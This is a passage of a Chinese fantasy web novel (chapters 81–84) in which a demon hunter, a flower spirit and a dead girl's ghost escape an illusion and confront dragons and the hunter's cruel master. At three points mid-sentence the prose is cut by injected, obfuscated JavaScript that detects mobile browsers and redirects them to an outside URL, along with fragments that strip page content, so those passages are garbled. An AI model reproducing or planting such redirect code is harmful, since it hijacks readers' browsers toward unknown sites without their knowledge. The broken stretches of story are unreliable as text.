只可惜这两样本事,沈灵均都没学到。书法稀松平常,烹饪一窍不通,十根手指头,都用来握剑了。 他就这样站在雪里胡思乱想,一时微笑,一时忐忑,脸上青一阵,红一阵,平生最煎熬的时刻,莫过于此。 来了! 铃声叮当,一辆大车转过弯道,疾驰而来,马蹄在冰面上打滑,车轮碾过积雪,沙沙作响。 沈灵均飞奔而去。 然而才奔出两步,风雪陡然转急,一道闪电从天而降,不偏不倚地劈在他和马车中间。山体裂开一个大口子,马刹不住脚,长声悲鸣,乘客惊呼着,和车厢一起摔入深谷。 沈灵均脱口叫道,“爹!娘!”,纵身一跃而下,乱石如雨砸在身上。 他奋力追赶下落的马车,眼看手掌就要触到车厢,突然间天旋地转,日月倒悬,世界化为一团虚影…… 沈灵均试了九十九次。 不论他在山道何处拦截,闪电都会劈中车身。 如果冲到山脚下,或是主动击打山壁,引发落石,世界就会消失,迫使他回到起点,站在无求观外。 一次又一次绝望,他眼睁睁地看着双亲坠入深谷,天人永隔。 他救不了他们。即便学了一身本领,还是救不了他们。 第一百次,沈灵均悲愤欲狂,红着眼睛杀入无求观。 引发山崩的是蛟龙。除掉它,才能釜底抽薪,永绝后患。 季月见到天一道长势如疯虎地冲进来,吓了一跳。 他好像已经走火入魔,眉心耸动,怒目圆睁。 昭昭蹒跚着走出来,未及动作,就被一只金钟罩兜头盖住。 她口不能言,半跪在地上,无助地拍打内壁。 外面,天一道长扬起拂尘,仰望天空,周身气劲鼓荡,袍袖翻飞。雪花片片飘落,还未近他的身,便融化成水。 一股杀气直上云霄。 蛟龙跃出云层,见到昭昭被囚禁,怒吼一声,飞扑下来。 沈灵均早有准备,腾空而起,拂尘舞成一团银光。 他厉声喝道,“妖龙,这不是你该来的地方,乖乖退走,我可以饶你一命。” 蛟龙自然不肯,引动闪电,连劈数下。 沈灵均怒意更甚,“你妄动雷电,伤及无辜,罪无可恕!” 蛟龙吼道,“放开昭昭!我要带她走!” “休想!” 一人一妖斗在一起。沈灵均以拂尘柄为剑,将屠龙剑法二十九式从头使来。 这套剑法是天一道长中年所创,集剑术功法为一体,是他生平得意之作。他凭此纵横妖界,二十年间就斩杀了三百三十二条蛟龙。 从前沈灵均还猜不透师父与蛟龙有何过节,如今终于明白了。杀女之仇,不共戴天。 父母之仇,同样不共戴天。 他拂尘凌厉,掌风急劲,渐至物我两忘之境,眼前只看得见蛟龙身上鳞片的闪光,纵横交错,织成一张光网。他以掌为刃,见一个光点就灭一个,势要将那光网撕破、扯烂。 季月遥遥仰望,暗暗心惊。天一道长的身法招式,和心中另一个人的影子重合在一起。师徒俩一个残暴狠辣,一个温文尔雅,打架的样子却如出一辙。 有朝一日,沈灵均也会如此大开杀戒么? 蛟龙遍体鳞伤,皮肉翻出,墨蓝色的血液像雨一样落下。昭昭一手抓着心口,一手徒劳地敲打金钟罩,眼泪早就流干了。 季月困在昭昭身体里这么久,和她同喜同悲,早已心意相通,只恨不能脱离束缚,飞上天去同战天一道长。 蛟龙被这般屠戮,犹如凌迟,昭昭眼睁睁地看着,亦受万箭穿心之痛。 她捂住肚子,滚倒在地,尾巴底下,渐渐洇出鲜血。 季月暗叫不妙。这金钟罩她自己也待过,对妖力有压制,昭昭腹中的孩子想必是感应到了。 无论它是人、是龙,还是半人半龙,都在劫难逃。 半空中,天一道长开始火攻,条条火龙凌空而起,围困蛟龙。蛟龙喷出巨大的水柱,对抗火焰。 水火对攻持续了一刻钟,蛟龙渐渐力竭,喷出的水越来越少,巨爪狂乱地挥动,却怎么也撕不碎烈焰组成的网。 雷声渐止。沈灵均微微一笑。它受伤太重,无法再引闪电攻敌了。 拂尘一摆,火网收紧,十几条火龙扑向蛟龙,恶狠狠地咬上它的身躯。 蛟龙全身着火,鳞片爆裂,庞大的身子拼命扭动。几息之后,如陨落的流星般,掉了下来。 烟尘、火光、山崩、地裂。无求观整个垮塌,落入山谷。 昭昭看着这惊心动魄的一幕,大张着嘴,却发不出一点声音。 巨响过后,世界归于寂静。 沈灵均怔忪片刻。 蛟龙已死,父母大仇得报,心里却没有丝毫畅快之感,反而空空如也。 头脑恢复一丝清明。他仍然身处幻境之中。不管屠几条龙,现实世界中,父母都回不来了。 自己如此大动肝火,看来是被幻境所迷惑。这里发生的事是真是假,尚无定论。当务之急,是尽快脱离幻境,找到师父和季月。 他稳住心神,缓缓落到谷底。金钟罩护着昭昭,飘在半空。蛟龙的残躯还在熊熊燃烧,明亮的火焰映在昭昭眼瞳里,也映红了她的脸。 沈灵均撤掉法器。 “昭昭,让我看看你的妖毒。” 昭昭恍若未闻,还保持着跪坐的姿势,面向蛟龙,嘴唇翕动。 沈灵均读出她的唇语,脸色微变。 她说的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16176707|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是,“别怕,我来保护你。” 一个手无缚鸡之力的中毒女子,能保护谁? 昭昭痴痴地望着燃烧的龙身,“从前没有人保护我。现在我有家人了。我会让你们活下去的。” 沈灵均皱眉,这姑娘把龙当作家人?看来妖毒已侵入心脉,致使神智昏聩了。 昭昭突然拔下发间的桃木簪,运足了力,狠狠扎进肚脐。 沈灵均固然大吃一惊,季月也吓得魂飞魄散,大叫,“昭昭,你干什么?” 她的肚子本就像个鼓胀的气球,上面长满鳞片,这一扎下去,如同凿破了冰封的湖面,裂纹寸寸延伸,几息之间,完全破碎。 一头小龙衔着一颗晶莹剔透的龙珠,从肚子里爬了出来。 龙珠一出现,山谷碎石间立刻光芒大亮,衬得火光都黯淡下去。 小龙的眼睛还没有睁开,嗅着味道,去舔舐母亲的血。 昭昭伸手摸了摸它还没长角的头,小龙舒服地哼唧两声,用细细的尾巴缠住昭昭的手指。 沈灵均看呆了。一条妖龙,竟然认昭昭为母。一个凡人,竟然能生下蛟龙。 昭昭爱怜横溢地抚摸着小龙,从它嘴里取过龙珠。 她举起鲜血淋漓的桃木簪,默念了几句,在龙珠上轻轻一划。 光洁的表面出现一道刺目的裂痕,很快碎成两半,耀眼的白光中,半颗珠子朝蛟龙飞去,落入它口中。 燃烧的火焰顿时熄灭,蛟龙周身发出柔和的光芒,鳞片重新长出来,盖住伤痕累累的皮肉。折断的龙角竖了起来,碎裂的龙爪恢复原状。 它动了动爪子,睁开眼。 巨大的竖曈里,又一次填满昭昭的影子。 “昭昭……” 昭昭侧躺在地上,冲着蛟龙微笑。她还是说不出话,不过没有关系,他们之间心意相通,不是非要说话的。 她掰开小龙的嘴,把另一半龙珠塞进去。小龙呛住了,费了半天劲才咽下。旋即,它的眼睛也睁开了。 和它父亲一样的墨蓝色,眼瞳深处光华流转,如同天上的星河。 沈灵均心里发凉。他方才不该赶尽杀绝的。原来这二妖一人,才是一家。可谁又能料想得到,捉妖师的女儿,竟和妖龙产子。 蛟龙爬过来,用身体圈住昭昭,她流出的鲜血已经汇聚成一个小湖泊,足够浸湿它的尾巴了。 它慌乱地喊,“昭昭,别死。” 昭昭摇了摇头,她额上的龙角没了,皮肤上的鳞片渐渐退去,长尾巴消失,恢复成本来模样。 清秀的五官,瘦弱的脸庞,娇小的身躯,处处都是苦难的痕迹。 蛟龙悲痛至极,“别死,别死!我带你去妖界!” 昭昭用最后的力气托起小龙,放在它父亲手爪之中,弯起嘴唇,无声祝祷,“好好活下去。” 一片雪花落入她的眼睛。下一刻,眼中的光点永远地消失了。 季月感觉周身一松,一阵风吹来,便飘飘摇摇地离开了昭昭的身体。 蛟龙眼中溢出大股大股的水流,仰天狂吼一声,转过头来,一口咬向沈灵均。 沈灵均来不及躲开,胸口一疼,身不由主地飞了出去。 他似乎变成了山间的一片雪花,一路向上,越过云层、风暴和晴空,飘到不知何处去了。 82. 蛟龙潜于渊(九) 季月睁开眼睛,发现身处一片纯白的雪原,天地同色,一望无际。 抬手一看,十指纤长,指甲鲜红欲滴,身上所穿红衣也是最喜欢的那件。心中一喜,终于回到自己的身体里了。 雪地又松又软,一脚踩下去,如入水中,了无痕迹。 往前走了数十步,四周的景致毫无变化,仍是单调的白。 她一定还在幻境之中。 季月把手掌放在唇边,大声呼喊,“有人吗——” 声音毫无阻碍地传出很远。蓦地,身后传来响动。 一回头,只见沈灵均手握长剑,脸色凝重地走来。 四目相对,愣了愣,同时大叫起来。 “你跑到哪儿去了?看到蛟龙没有?” “你经历了什么?怎么走出来的?” “你师父是不是被蛟龙咬了?” “你有没有动手打架?” 由于抢着提问,谁都没听清对方在说什么,更别说回答对方的问题。 一人一妖大眼瞪小眼,过了片刻,异口同声地喊道,“昭昭!” 幻境中发生的一切都和昭昭有关,她一定是破局的关键。 空中传来一声轻笑,“谁在叫我呀?” 季月和沈灵均愕然回头,只见一个瘦弱的姑娘背着双手,翩然落在雪地里,似笑非笑地看着他们。 季月一直以昭昭的眼睛视物,无法看见她的外貌。沈灵均只见过她小时候的模样,和临终前妖化的样子。 可他们都确信,眼前这人就是昭昭。她看起来只有十六七岁,头上戴着那根褪色的桃木簪,大眼睛忽闪忽闪,透着天真稚气,身材轻盈得像一片树叶,仿佛一阵风就能刮跑。 季月抢先问道,“幻境是你造的?里面发生的一切都是真的?” 昭昭的声音听起来十分飘渺,“你都说是幻境了,怎么会是真的?” 季月喜道,“这么说,你还活着?” 昭昭收起笑容,摇了摇头。 她方才飞下来的样子,像一片轻盈的雪花,确实不太像活人。 沈灵均低声道,“对不住,是我太过莽撞。” 季月奇道,“你做了什么事情,对不住人家?” “我杀了她丈夫。” “什么?!是你?” 昭昭忙道,“不是他的错,是天一道长下的手。” “当年他对我夫君痛下杀手,之后还不肯罢休,要把我和肚子里的孩子赶尽杀绝,不料却意外激发了龙珠之力。龙珠是蛟龙一族的至宝,会寻找和保护至亲血脉。它一分为二,一半助我夫君复活,一半护住我的孩子。他们逃回妖界,匆忙间遗落了部分龙珠之力,造就了这个幻境。” “我从此徘徊于西山,有时做梦,有时清醒,既出不去,也不知今夕何夕。成日里只是翻来覆去地回想往事,从儿时寄宿无求观,到被天一道长扔给外祖父,从卢家柴房逃走,到遇见我夫君,生下孩子……” 她说到这里,嘴角翘起,露出凄然又甜蜜的微笑,“回想一生之中,曾有过几个月真心快乐的日子。上天真是待我不薄。” 季月忿忿道,“什么呀!你明明受了那么多苦……” 昭昭歉然,“委屈你和我一起受苦了。” “若我是你,定把恶人都杀个干净。” 昭昭吐了吐舌头,“若我有你这样的朋友……唔,算了,做人不可奢求太多。” 沈灵均似有所悟,转向季月,“你一直和昭昭在一起?” 季月恶狠狠道,“是,我一直在她身体里,看尽了世态炎凉。她遇到过那么多人,没有一个真心对她,唯一对她好的蛟龙,还被你师父杀了。只恨我不能冲出去,和你师父打一架。” 沈灵均脸色煞白。季月不知道她见到的天一道长其实是沈灵均。他自认为通情达理,心怀善念,不料代入天一道长的角色,竟也不知不觉地做出抛弃妻女,残杀无辜的事。师父为人刚愎固执,残忍弑杀。难道自己内心深处,竟和他一样么? 昭昭凝目注视着他,“是我心魔难解,才连累你们一遍遍循环。我一生受命运摆布,别无选择,正如季姑娘你身不由主,口不能言。天一道长一意孤行,心志坚定,所以沈公子别无他法,只能走上他当年的路。时光不能倒流,世事无法更改。” 沈灵均沉思良久,“带你下山那日,明明离开卢府就该重置,你却任由我带着你逛街,买糖人……” 昭昭像个做错了事的孩子,低下头,赧然道,“那是我的一点私心。我生前从没有叫过爹……在心里叫的,他也听不见。” 季月想起当时趴在天一道长怀里,搂着他脖子撒娇的昭昭,心头似有一阵酸雨落下。 昭昭看着沈灵均,眼波流转,“你将来一定会是个好父亲。” 沈灵均说不出话来。 她欠了欠身,“抱歉,没能让你见到父母。我只知身死那日,有马车坠入山崖,却没见过他们,因此幻化不出他们的模样。” 沈灵均闭目良久,再睁开时,眼神已恢复清明,“我见到山谷中血肉模糊的尸体,果然只是想象出来的。” 季月不明所以,“怎么你父母也会牵扯其中?” 昭昭道,“天一道长与我夫君大战,引动天雷,致使山崩地裂,伤及无辜。沈公子的父母就是死于那一日。其实当时,我和夫君已经准备动身前往妖界,若天一道长晚来一天……哪怕晚来几个时辰……” 沈灵均心底一片悲凉,“世事难料,天意弄人。” 昭昭垂头道,“我夫君追求长久,其实相爱过就已足够。” 季月怒道,“说来说去,都是天一道长的错。我们这就出去,找他评评理。” 沈灵均握紧她的手,生出一种前所未有的恐惧。师父屠龙如砍瓜切菜,若他对季月也痛下杀手呢? 这几日是自己太大意了,把她困在书房,对师父阳奉阴违。以为天一道长会看在自己的面子上手下留情,以为拖延下去就能护住所爱。 师父可是连亲女儿都要赶尽杀绝的,他现在可以确信,师父伤好那日,就是季月的死期。 他想象蛟龙身上那横七竖八的伤痕,一道道出现在季月身上。花瓣残破,枝条折断,汁液留干,千娇百媚的脸裂成无数碎片……不由地脊背发凉,出了一身冷汗。 季月晃了晃他的胳膊,“你怎么啦?不会还想替你师父说话吧?” 沈灵均摇摇头。 昭昭问,“他……也来了?” 季月东张西望,“是啊。这会儿还不知道在哪儿呢。如果幻境是你心魔所化,他深谙往事,应该最快破局才是。” 昭昭沉吟道,“除非,除非他心有悔意,不肯做出和当年一样的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16186680|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 选择。” “他定是后悔杀了你。” “恐怕是后悔生了我。” 季月问,“如果他执意与幻境对抗,会如何?” 沈灵均猜测道,“会一遍遍重复,直到精疲力竭,永远困死在里面。” 昭昭抬头望了望天,沉吟道,“自从幻境生成,从未有人闯进来过。今日天空晃动得格外厉害。我猜,来的不是凡人吧?” 季月脱口而出,“有条蛟龙!它变成天一道长的模样,跑到南安县招摇撞骗……” 还没说完,沈灵均大喊一声,“乾坤袋!师父的乾坤袋中,囚禁着一条蛟龙!我们一靠近无求观的遗址,就被卷入这里,原来是因为它!“ 昭昭脸上变色,“龙珠之力会寻找血脉,感应如此强烈,难道……是我夫君?” 季月心念急转,“你夫君怎会轻易被抓?只怕是你的孩子!” 沈灵均摇摇头,“哪有这样巧的事?” 季月抢白道,“怎么不可能?你师父专杀蛟龙,二十年间杀了三百三十二条,总会轮到自己外孙的。” 昭昭瞪大眼睛,身子晃了晃,“他……抓了我的孩子?” 季月一阵揪心。这个天一道长,真是万恶之源。 不仅仅是天空,连大地也跟着摇晃起来,昭昭闭目感应了片刻,喃喃道,“不会错的,遗落人间的龙珠之力,终于找到主人了。” 她面向他们,盈盈拜倒,“求两位出手相救,放我的孩子一条生路!” 季月用力点头。沈灵均迟疑片刻,道,“放心。” 昭昭展颜一笑,又拜了两拜,季月伸手扶起她。 大地开始旋转,幻境行将崩塌,他们站立不稳,昭昭的身体渐渐变得透明,声音如隔云端,“不知道它个子大不大,头上的角是什么样子的……可惜不能亲眼看见……” 一道强光漫过雪原,刺得人睁不开眼睛。 嗡的一声巨响,然后一切归于沉寂。 一瞬之后,季月和沈灵均十指紧扣,落到炎热的山道上,仲夏阳光刺眼,人间的种种喧嚣重新灌入耳中。 面面相觑,恍如隔世。 季月举目四顾,右边的山壁中凿出一个豁口,里面竖着一块石碑。 石碑边缘已有磨损,表面覆盖着厚厚一层石灰,上前抹去石灰,露出五个大字,“卢昭昭之墓”。 笔画苍劲有力,深深刻入碑体。 沈灵均看了半晌,叹道,“一般的石匠,可没有这等力气。” “你的意思是说,这碑是你师父立的?” “除了他,还能有谁?” 季月喃喃道,“他总算没有完全泯灭人性。” 沈灵均看了看她,“你如今对人性了解颇深。” “那是自然。” 季月话一出口,突然想到,若真如沈灵均所说,自己闻到的妖气实则是乾坤袋中的蛟龙。这个天一道长乃是个货真价实的捉妖师。 他早就看出自己的真身了! 她鬼鬼祟祟地瞥了一眼沈灵均。 沈灵均也正好望向她。季月看似厉害,实则天真。她恐怕还没意识到自己的处境有多危险。有昭昭的前车之鉴,他怎敢拿她的性命,去赌师父的一念之仁。 师父比妖还可怕。 在师父恢复功力之前,必须让季月彻底消失。 83. 蛟龙潜于渊(十) 沈灵均拿出罗盘,念动口诀。指针团团转了一圈,指向季月。 季月觑着指针,心虚地让开半个身子,遥指峭壁,“看来蛟龙在那个方向。” 像是回应她的话,空中响起一声龙吟。 沈灵均揽住她的腰,几个纵跃,穿过半山白云,落在崖顶。还没站稳,就听到风声劲急,一只利爪兜头抓下。 斩妖剑当空一格,剑身与龙爪相碰,激起一串火花,蛟龙巨大的身躯完全显露,朝着他们张牙舞爪。 这是一头年轻的蛟龙,身上的鳞片坚硬光滑,颜色尚浅,头上的角锐不可当,墨蓝色的眼瞳里闪着寒光。 沈灵均把季月护在身后,喝道,“你既已脱离乾坤袋,快快走吧。人间不是你该来的地方。” 小龙喷出一口浊气,长长的龙须翘了起来,厉声道,“老道囚我九九八十一日,今日不是他死,就是我亡。” 四周云雾缭绕,罗盘的指针又开始乱转。 沈灵均问,“我师父在哪?” 小龙转了转头,忽然朝着云层俯冲下去,沈灵均紧随其后。 白云露出一个缺口,天一道长靛蓝色的身影躺在山道上,小龙张开巨口,一口咬下去,生吞掉他一条手臂! 鲜血喷涌而出,天一道长竟然全不反抗。 沈灵均看得心惊肉跳,用尽全力拍出一掌,屠龙剑法行云流水般使出,和小龙斗在一起。 季月缓缓走近,打量天一道长。离开沈府时,他还是一副凶巴巴的模样,如今却像苍老了二十岁,稀疏的头发全白了,脸上血色尽褪,两颊深深凹陷,双眼紧闭,无知无觉。断臂处积起一片血泊,颜色乌黑。 季月经历过幻境,对天一道长厌憎至极。可真的见到他奄奄一息,又忍不住生出恻隐之心。 这人若死了,对她大有好处,若没死,多半要来追杀她。 天上,小龙怒吼连连,欲扑下来给天一道长致命一击,沈灵均手中的斩妖剑舞成一团银光,在龙身前后穿梭,奋力抵挡。 季月轻叹一声,罢了罢了,谁让他是沈灵均的师父呢。人间有句话,叫一日为师终身为父,可怜如卢昭昭,在幻境之中,还念念不忘要喊一声爹呢。 姑且救他一命。 季月双掌翻转,掌心中现出一颗晶莹玉润的花蜜,在伤口周围转了一圈,径直飘进天一道长体内。断臂处血流顿止,创面迅速愈合,天一道长一个激灵,茫然睁开眼睛。 小龙在空中看见了,攻势更加猛烈。 沈灵均从幻境中出来,不愿再用那残忍的凌迟之法,亦不用火攻,只以剑气伤敌,想把它逐走。但小龙年轻气盛,又吸收了残留的龙珠之力,比他父亲更为难缠。沈灵均斗了一刻钟,左支右绌,渐感吃力。 季月把手伸到天一道长眼前晃了晃,“醒醒!该起来打架了!” 天一道长迷迷糊糊地看去,只见一红衣女子向自己喊话,却看不清她的面目。 “昭……” 季月冷哼一声,“现在想起女儿了?昭昭就是被你害死的。” 天一道长嘶声道,“我杀了你五百回。为什么,为什么还要纠缠不休……” 季月瞪大眼睛,“五百回?你在说什么?” “你我本是孽缘,放下吧……” 季月简直不敢相信,“你说的是昭昭的母亲?” 天一道长大咳几声,嘴角流出一缕黑血。 季月顿悟。天一道长深悔当年坠入情网,怎么也不肯接受昭昭母亲的示好,所以一直困在第一关,反复循环,无法解脱,才被磋磨成这个样子。 他为了摆脱孽缘,竟辣手行凶,连杀了卢姑娘五百次。 心肠之狠,找遍人间妖界,都难逢敌手。 季月气得只想把花蜜挖出来,再给他补上一刀。 空中,小龙突然喷出一股巨大的水流,把沈灵均冲出十丈远。 龙身盘旋,疾飞下来,欲结果了天一。它的巨口大得像湖泊,季月可以数清里面的尖牙。 她灵机一动,变幻成卢昭昭的样子。 龙头在一尺开外堪堪停住,竖瞳中满是震惊,奶声奶气地喊道,“娘?” 季月板着脸,点点头。 小龙巨大的鼻翼掀了两下,闻出她的气味,尖叫,“不可能,你是花妖。” 季月斥道,“糊涂孩子!连娘都不认了!” 小龙龇牙,一爪按向季月。季月扭身躲过,跳上龙头,握住龙角。 小龙拼命晃动脑袋,想把她甩下去,季月腾出一只手,从怀里摸出铜镜。 “听话!跟娘回妖界!” 铜镜金光暴涨,飞到上空,镜面裂开一道巨大的缝隙,季月按着龙头,一节一节地往里塞。 沈灵均飞掠回来的时候,正好看到龙尾巴扭动着,消失在铜镜之中。 一道金光闪过,铜镜也不见了。 “阿月?” 山石寂寂,无人回应。 “师父!” 他奔过去扶起天一道长,在心口一探,脉搏微弱,还有一息尚存。 “阿月!阿月!” 喊声在嶙峋山崖间回荡。 白云悠悠,似乎天地间只剩下他一人。 季月骑在小龙头上飞向天池,此地的风沾了水汽,吹在脸上凉飕飕的。 今日太阳不好,龙族都潜到水底去了,没有聚众打架。天池波平浪静。 小龙一直恼怒地甩头。 “你竟敢变成我娘的样子!快下来,和我决一死战!” 季月重重地揪了一把龙须,“倒霉孩子,成天就知道打架!你娘可是牺牲了性命才保下你!” 小龙疼得眼泪汪汪,“你怎么知道?你见过我娘?” “我呀,算是和她共度一生了。” 小龙吸了吸鼻子,“可我只见过娘的画像。” “你在幻境中也没见到?” “光看见道士杀人了。” 小龙懊恼道,“若不是你,我已经把他吃了!” 季月哑口无言,天一道长戕害一家三代,确实该死。 小龙突然昂起头,欢声叫道,“爹!” 万顷碧波间,飞出一条银灰色的蛟龙,身姿矫健,威风凛凛。它朝小龙冲过来,声音隆隆,犹如惊雷,“昭昭?” 季月想起在幻境之中,还和这条龙亲过嘴,顿觉尴尬,赶紧抖抖身子,恢复成本来面目。 小龙一用劲,终于把她甩了下去,一朵鲜红的月季花笔直地落入天池,两条龙紧随其后,把她团团围住。 “孩儿,你不是去打架的吗?怎么带了朵花回来?” “我被捉妖师抓去!差点死在他手里!” “什么?!” 季月呛了几口水,将人间种种,和幻境中所历之事一一道来。末了,说道,“昭昭最后的心愿,是让你们骨肉团圆。” 蛟龙悲愤难抑,身躯不停地在水中翻滚,掀起滔天巨浪。 “昭昭是人间最好的女子。这天杀的捉妖师,害死我妻子不够,还想害我儿子!我定要将他生吞活剥,祭奠亡妻!孩儿,随爹爹杀去人间,搅它个天翻地覆!” “好!” 季月劝道,“我看天一道长那样子,本来也活不久了。” 小龙杀气腾腾道,“那我们现在就去,免得他抢先死了!” 哗啦一声巨响,两条龙一前一后,跃出水面,从万顷碧波上飞掠而过。 季月追在后面叫,“等等,你们知道怎么去吗?” 蛟龙日行八百里,来去如风,转眼就甩掉了她,两条龙尾巴渐行渐远,缩成地平线上的两个小黑点。 季月又惊又疑。 大多数妖根本不知道人间的存在,正如大多数人不知道妖界。若没有铜镜,两界是无法往来的。 难道还有别的通道? 蛟龙当年又是如何到的南安县?莫非它也有一面铜镜? 她想了一阵,没有头绪,只得作罢。 答应昭昭的事已经办成。她丈夫孩子若真要杀去人间,自己也拦不住。 归根结底,都是天一道长造的孽。 季月四处张望,想另找一条蛟龙把自己送回家。离开许久,她也想回去看看了。等了半天,但见水波粼粼,并没有龙浮上来。 无奈,只得靠自己走走停停,停停走走。到达浮玉山时,金乌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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季月扬起眉毛,“双头天狗?你不在月亮上呆着,送上门当我的晚餐么?” “汪!” 季月张口把它往嘴里送。 “汪汪汪!别吃我,我有用!” “你有何用?” “我会治伤。” “哦?我也会。” 季月再次把它往嘴里送。 “汪汪汪!别吃我,你的房子好香!” 季月灵机一动,“你什么伤都能治吗?” 四只眼睛忽闪忽闪,“汪!可以!” “若是一个人断了手臂,能让它再长出来么?” “汪汪汪!什么是人?什么是手臂?” 季月看这小天狗蠢萌蠢萌的,忍俊不禁,指着自己左臂,“人长这个样子,手臂长这样,明白了吗?” “汪!明白了,可以治的!” 季月伸出两只手,分别摸了摸它的两颗头。 “过两天,你跟我去个地方。” 天狗看起来很乐意,摇头晃脑,还原地转起圈来。 沈灵均背着昏迷不醒的天一道长下了西山,走回沈府。路人见他们这副模样,无不惊惧。有好事者想上前询问几句,都被沈灵均的脸色吓退了。 刚到沈府门口,沈伯就迎出来,“少爷你可算回来了,十几天音讯全无,我们都担心坏了。哎哟,道长这是怎么了?!” 沈灵均一惊,幻境之中不觉时间流逝。距他们出发至今,竟已过去了十几天。 难怪心浮气躁,手脚乏力。 他舔了舔干裂的嘴唇,“师父伤势甚重,需要静养。” 沈伯喊来几个人,手忙脚乱地把道长抬了进去。 “少爷,还有一件怪事。” “何事?” 沈伯的神色十分古怪,既欢喜,又尴尬,还有些惊魂未定。 “快说。” “小姐回来了。” 沈灵均心中一宽,“回来就好。那算什么怪事?” “小姐说……她要成亲了。” 84. 执手两心同(一) 狻猊口中喷出袅袅檀香,萦绕于室。沈灵均端坐于天一道长身后,手掌抵在他背心,以自身功力助他疗伤。地上翻倒一排空瓷瓶,有大有小,都是从天一道长腰间锦囊之中掏出来的。他平日里斩妖除魔,东挖一副妖胆,西剖一颗妖心,炼制而成的灵丹妙药,这次终于派上了用场。 疗伤持续了一日一夜,旭日东升时分,天一道长睁开了眼睛。 “师父?” 道长呆坐半晌,低头看向断臂处,几根白发垂落肩头,肩膀以下空空如也。 沈灵均对师父再不满,见此情形,也不禁黯然。 天一道长一生来去纵横,睥睨天下,本领固然高强,心气更加高傲,骤然失去一臂,对他打击深重。 沈灵均又叫了两声师父,仍没应答。站起身,一阵头晕眼花。回府后便通宵达旦地运功,滴米未进,滴水未沾,损耗极大。他缓了口气,从壶中倒了杯凉水,递到天一道长唇边。 道长低头抿了一口,一滴浑浊的泪水行将溢出眼眶,被强行忍了回去。 “灵均,你伤势如何?” 沈灵均一怔,“弟子并无大碍。” “别硬撑了,那幻境邪门得很,迫使闯入之人经历一生中最痛悔之事,连师父都折在其中。” 沈灵均暗想,昭昭的悲剧是你一手造成,她心魔所化的幻境困住了你,她生下的蛟龙咬去你一臂,可谓因果循环,报应不爽。 只是这话不好当面说出来。 “多亏师父挡在前面,弟子才得以逃生。” 天一道长打量他片刻,“甚好,看来为师肩上这副胆子,可以完全交托给你了。” “您功力深厚,只需多调养些时日,必能复原。” 天一道长摇头,“方才想起许多往事,觉得这一生实在无谓,想是大限将至。” “师父别忘了,还要斩杀第三百三十三条蛟龙,凑个吉利数。” “杀不动了。为师剩下的这点力气,帮你肃清南安县的妖邪,留个清净地界,也不枉我们师徒一场。” 沈灵均不知该作何感想。儿时父母双亡的惨祸,是由天一道长一手造成。按理说,他该对他恨之入骨才是。但这个严厉凶狠的老道也实实在在教了自己一身本事。他为斩妖大业出生入死,不惜一切代价,不把别人当人,也没把自己当人。南安县太平日久,确是他的功劳。 “对了,那只花妖呢?” 沈灵均一个激灵,“她……不见了。” “跑了?” “不会再回来了。” “你不是用掌心锁和她绑在一起么?” “弟子惭愧。幻境变化莫测,蛟龙又难缠得紧,没看牢她。” 天一道长想起出发前那花妖与他卿卿我我的丑态,冷哼道,“我看是你故意放跑的。为师时日不多,就算掘地三尺,也要把她挖出来。” 沈灵均急道,“她无意与您争斗。师父您保重身体要紧。” 天一道长瞪着他,稀疏的白发和胡子一起颤动,厉声道,“美色如鸩毒!一旦沾染上,一步错,步步错!你……你不听劝诫,迟早走上为师的老路……” 他说到激动处,气血翻涌,哇地喷出一大口黑血。 沈灵均赶紧去扶。天一道长一把抓住他的手,“你从小吃了多少苦才有今日,若栽在情关上,为师死都不会瞑目。” 沈灵均又好气又好笑,一时之间也辩不清楚。 “你去把上回挨打的那个姓韩的小子叫来。” “叫他做什么?” “为师自有主张。” 沈灵均欲言又止。 天一道长瞧他一眼,“你下不了手,我就找人替你下手。等妖邪肃清,为师就能放心地去了。” 沈灵均冲口而出,“弟子惟愿师父身体安康,长命百岁,南安县再无杀戮争斗,骨肉分离。” 天一道长一怔,叹道,“那是你一厢情愿的傻念头。妖生来就是要吃人的。否则,神巫署何必隔绝两界,派遣捉妖师把守通道……” 捉妖师表面上的职责是铲除妖孽,护卫一方平安,另有一项秘密任务,封住前往妖界的通道。南安县的通道起初设在无求观,无求观毁坏后,天一道长把通道口移到沈府书房内,严令禁止沈府下人靠近内宅。书房常年设有禁制,除了师徒两人,谁都进不来。 听师父提到通道,沈灵均下意识地将目光投向书房深处。 天一道长看他脸色迷惘,仍是一副执迷不悟的样子,态度强硬起来,“别忘了,你的血咒还没解呢!” 沈灵均明白多说无益。师父习惯以力服人,总以为靠威胁就能达到自己的目的。 “……师父说的是。弟子遵命。” 他捧着空茶壶出去,掩上门,去找沈伯。 下人们都睡了,厨房里只有冷锅冷灶。沈伯想得周到,给他留了些剩饭剩菜。 沈灵均心事重重,食不知味。 师父铁了心要杀季月,此事无法转圜。找韩思年来,纯属添乱。明天随便找个借口,搪塞过去。 季月不知去了哪儿。他起初疑心她被蛟龙抓走了。仔细想想,又觉得不对。蛟龙消失在一面铜镜之中,那镜子的制式有些眼熟。 